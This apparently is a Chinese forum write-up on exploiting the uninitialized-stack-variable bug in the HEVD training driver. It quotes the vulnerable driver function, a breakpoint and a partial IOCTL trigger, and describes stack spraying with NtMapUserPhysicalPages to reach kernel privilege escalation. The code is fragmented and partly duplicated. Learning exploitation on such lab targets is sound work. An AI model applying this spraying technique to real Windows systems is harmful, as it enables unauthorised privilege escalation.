这一系列就这样快结束了 这次是未初始化栈变量 开始吧
未初始化的栈 会在调用的时候 随机填入值 我们可以将shellcode填入其中 从而去执行我们的shellcode
如前面所说 这个函数漏洞版本中未初始化内存栈 导致UserValue != MagicValue 调用回调
先下断点
这次是会有几率失败的 所以我从TJ师傅那里的代码 进行验证 IO控制码还是从IDA中得到的哈
还有就是wjllz师傅说的方法(师傅在看雪另一位师傅下的评论 其实早都看到了 但还是在这里说一下吧)
可以看到 对UserValue的值进行了正确的赋值
起初我以为是将回调函数的指针覆盖为shellcode的地址 在下断点查看之后发现并不是 看到TJ师傅讲的文章 里面提到了j00ru师傅的文章 进行栈喷射 在操作系统中 我们学到过关于用户栈和内核栈的皮毛 关于栈的结构 其实在ctfwiki上早已看到过 在j00ru师傅的文章中 也讲到过栈结构 再进一点的东西 我们需要知道下面函数
大致的先讲一下思路 我们先利用NtMapUserPhysicalPages进行栈喷射 将栈中的数据覆盖为我们shellcode 然后使用漏洞点 将其使用我们刚才我们控制的栈
我们也可以看到COPY_STACK_SIZE是缓冲区栈值的大小 所以它可以使用户传递1024*4=4096个字节的值
即可以用来控制最多4096个字节的内核栈 我们将shellcode的位置传到此处 而我们使用的为
看看exp的核心部分 首先申请内存进行栈喷射将shellcode的地址覆盖在栈中 然后再触发漏洞函数 进行提权
提权成功
在安全版本中 我们将栈的初始值进行赋值
对于未初始化栈利用 在内核态需要更加注意 稍有不慎就会覆盖到重要数据导致宕机 还好有前人的经验总结 让我们的可以更好的利用这些 不足之处是 师傅们不仅专业能力强 而且对于英文能力也是毫不逊色 自己真是太菜了qaq。。。
对于shellcode的地址在原则上说是没有问题的 但下断点查看之后 发现并不是这样 还是一个跳转表 本以为和上次一样 但继续跟踪之后发现并不能跟到shellcode的地址 这就很疑惑的 而我查看被覆盖的栈中 确实是大量相同的数据。。。。。不理解。。。。。但确实是提权成功了
对于提权成功也有点问题 每次恢复快照 有时候就可以100%提权成功 有时候就不可以 奇奇怪怪。。。
NTSTATUS
TriggerUninitializedMemoryStack(
_In_ PVOID UserBuffer
)
{
ULONG UserValue
=
0
;
ULONG MagicValue
=
0xBAD0B0B0
;
NTSTATUS Status
=
STATUS_SUCCESS;
/
/
/
/
Secure Note: This
is
secure because the developer
is
properly initializing
/
/
UNINITIALIZED_MEMORY_STACK to NULL
and
checks
for
NULL pointer before calling
/
/
the callback
/
/
UNINITIALIZED_MEMORY_STACK UninitializedMemory
=
{
0
};
/
/
/
/
Vulnerability Note: This
is
a vanilla Uninitialized Memory
in
Stack vulnerability
/
/
because the developer
is
not
initializing
'UNINITIALIZED_MEMORY_STACK'
structure
/
/
before calling the callback when
'MagicValue'
does
not
match
'UserValue'
/
/
UNINITIALIZED_MEMORY_STACK UninitializedMemory;
/
/
漏洞点
PAGED_CODE();
__try
{
/
/
/
/
Verify
if
the
buffer
resides
in
user mode
/
/
ProbeForRead(UserBuffer, sizeof(UNINITIALIZED_MEMORY_STACK), (ULONG)__alignof(UCHAR));
/
/
/
/
Get the value
from
user mode
/
/
UserValue
=
*
(PULONG)UserBuffer;
DbgPrint(
"[+] UserValue: 0x%p\n"
, UserValue);
DbgPrint(
"[+] UninitializedMemory Address: 0x%p\n"
, &UninitializedMemory);
/
/
/
/
Validate the magic value
/
/
if
(UserValue
=
=
MagicValue) {
UninitializedMemory.Value
=
UserValue;
UninitializedMemory.Callback
=
&UninitializedMemoryStackObjectCallback;
}
DbgPrint(
"[+] UninitializedMemory.Value: 0x%p\n"
, UninitializedMemory.Value);
DbgPrint(
"[+] UninitializedMemory.Callback: 0x%p\n"
, UninitializedMemory.Callback);
DbgPrint(
"[+] Triggering Uninitialized Memory in Stack\n"
);
/
/
/
/
Call the callback function
/
/
if
(UninitializedMemory.Callback)
{
UninitializedMemory.Callback();
}
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
Status
=
GetExceptionCode();
DbgPrint(
"[-] Exception Code: 0x%X\n"
, Status);
}
return
Status;
}
NTSTATUS
TriggerUninitializedMemoryStack(
_In_ PVOID UserBuffer
)
{
ULONG UserValue
=
0
;
ULONG MagicValue
=
0xBAD0B0B0
;
NTSTATUS Status
=
STATUS_SUCCESS;
/
/
/
/
Secure Note: This
is
secure because the developer
is
properly initializing
/
/
UNINITIALIZED_MEMORY_STACK to NULL
and
checks
for
NULL pointer before calling
/
/
the callback
/
/
UNINITIALIZED_MEMORY_STACK UninitializedMemory
=
{
0
};
/
/
/
/
Vulnerability Note: This
is
a vanilla Uninitialized Memory
in
Stack vulnerability
/
/
because the developer
is
not
initializing
'UNINITIALIZED_MEMORY_STACK'
structure
/
/
before calling the callback when
'MagicValue'
does
not
match
'UserValue'
/
/
UNINITIALIZED_MEMORY_STACK UninitializedMemory;
/
/
漏洞点
PAGED_CODE();
__try
{
/
/
/
/
Verify
if
the
buffer
resides
in
user mode
/
/
ProbeForRead(UserBuffer, sizeof(UNINITIALIZED_MEMORY_STACK), (ULONG)__alignof(UCHAR));
/
/
/
/
Get the value
from
user mode
/
/
UserValue
=
*
(PULONG)UserBuffer;
DbgPrint(
"[+] UserValue: 0x%p\n"
, UserValue);
DbgPrint(
"[+] UninitializedMemory Address: 0x%p\n"
, &UninitializedMemory);
/
/
/
/
Validate the magic value
/
/
if
(UserValue
=
=
MagicValue) {
UninitializedMemory.Value
=
UserValue;
UninitializedMemory.Callback
=
&UninitializedMemoryStackObjectCallback;
}
DbgPrint(
"[+] UninitializedMemory.Value: 0x%p\n"
, UninitializedMemory.Value);
DbgPrint(
"[+] UninitializedMemory.Callback: 0x%p\n"
, UninitializedMemory.Callback);
DbgPrint(
"[+] Triggering Uninitialized Memory in Stack\n"
);
/
/
/
/
Call the callback function
/
/
if
(UninitializedMemory.Callback)
{
UninitializedMemory.Callback();
}
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
Status
=
GetExceptionCode();
DbgPrint(
"[-] Exception Code: 0x%X\n"
, Status);
}
return
Status;
}
bp HEVD!TriggerUninitializedMemoryStack
bp HEVD!TriggerUninitializedMemoryStack
int
main()
{
DWORD bReturn
=
0
;
char buf[]
=
{
0
};
*
(PDWORD32)(buf)
=
0xAAAAAAAA
;
HANDLE hDevice
=
NULL;
hDevice
=
CreateFileA(
"\\\\.\\HackSysExtremeVulnerableDriver"
,
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL);
DeviceIoControl(hDevice,
0x22202f
, buf,
4
, NULL,
0
, &bReturn, NULL);
return
0
;
}
int
main()
{
DWORD bReturn
=
0
;
char buf[]
=
{
0
};
*
(PDWORD32)(buf)
=
0xAAAAAAAA
;
HANDLE hDevice
=
NULL;
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!